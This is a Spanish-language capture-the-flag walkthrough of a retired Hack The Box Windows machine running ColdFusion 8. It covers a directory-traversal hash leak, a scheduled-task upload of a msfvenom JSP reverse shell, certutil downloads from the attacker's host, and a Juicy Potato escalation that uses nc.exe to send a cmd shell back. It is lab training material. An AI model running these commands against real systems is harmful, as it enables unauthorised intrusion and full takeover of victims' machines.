Fecha de lanzamiento | 22 Mar 2017 |
Estado | Retirada |
Dificultad | Easy |
Plataforma | Windows |
IP | 10.10.10.11 |
Información de la máquina
RECONOCIMIENTO
Mediante el escaneo con la herramienta nmap observamos que hay 3 puertos abiertos (135,8500 y 49154).
nmap -open -p- -sS --min-rate 5000 -Pn -vvv -n -oN nmap_scan 10.10.10.11 ports=$(cat nmap_scan | grep -oP "^\d*" | xargs | tr " ", ",") nmap -sCV -p$ports -Pn 10.10.10.11 -oN nmap_services
Si hacemos una búsqueda en el navegador de la IP y el puerto 8500, obtenemos un indice de lo que parecen ser dos directorios. En uno de ellos encontramos un archivo denominado «Administrator». Obtenemos acceso a un panel login.
HTTP 8500 – ColdFusion 8
Tenemos el nombre de la aplicación y tenemos la versión. Si buscamos mediante la herramienta searchsploit, obtenemos numerosos resultados. Vamos a inspeccionar un script en Python en relación a un exploit de Directory Traversal: multiple/remote/14641.py
Si realizamos una petición GET a esa URL, tenemos visibilidad de lo que parece un HASH de una contraseña. Podemos crackearla en la web de CrackStation y obtenemos en texto claro la contraseña de acceso al panel administrativo de ColdFusion.
ColdFusion Authenticated Reverse Shell
Una vez tenemos acceso al panel de administración de ColdFusion, vamos a aprovecharnos de la creación de una tarea programada para subir un archivo malicioso a una ruta concreta del servidor para posteriormente ejecutarlo y entablar una conexión hacia nuestro equipo.
Para ello, necesitamos primero saber la ruta absoluta en la que está trabajando la aplicación. Para ello en el menu desplegable de la izquierda, seleccionamos Mappings.
Si a continuación nos dirigimos a Scheduled Tasks, tenemos la opción de crear una tarea programada. La tarea cuando se ejecute, va a realizar una petición a nuestro servidor local apuntando al recurso clickaqui.jsp y va a almacenar el archivo en la ruta especifica abajo, que es la que hemos sacado de la pestaña Mappings.
Vamos a crear el archivo malicioso con extension .jsp y vamos a exponerlo para que pueda ser obtenido por parte del servidor web víctima.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.24 LPORT=443 -o clickaqui.jsp python -m http.server 80
Si ejecutamos la tarea (botón verde en la web) vemos que la petición se realiza correctamente y el archivo parece que ha sido cargado en la web. Si volvemos al directorio CFIDE donde teníamos capacidad de listado en la web, vemos que nuestro archivo se encuentra ahí.
Nos ponemos en escucha por el puerto 443 y si abrimos el archivo, se interpreta en la web y tenemos una shell de bajos privilegios dentro de la máquina víctima.
Privilege Escalation – Juicy Potato
Observando los privilegios del usuario, vemos que tiene asignado el privilegio SeImpersonatePrivilege. Esto significa que tenemos una vía potencial de escalar privilegios en la máquina gracias a Juicy Potato.
Vamos a descargarnos la ultima versión de los Releases de Github así como el ejecutable de Netcat para Windows de 64 Bits. Descomprimimos el comprimido de Netcat y vamos a pasar a la máquina víctima dos archivos: jp.exe y nc.exe:
python3 -m http.server # Servidor Local certutil.exe -f -split -urlcache http://10.10.14.24:8000/jp.exe # Servidor Victima certutil.exe -f -split -urlcache http://10.10.14.24:8000/nc.exe # Servidor Victima
Nos ponemos en local en escucha por el puerto 4567 y vamos a ejecutar el Juicy Potato para que nos envié una cmd como Administrator:
jp.exe -t * -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\Escalada\nc.exe -e cmd 10.10.14.24 4567"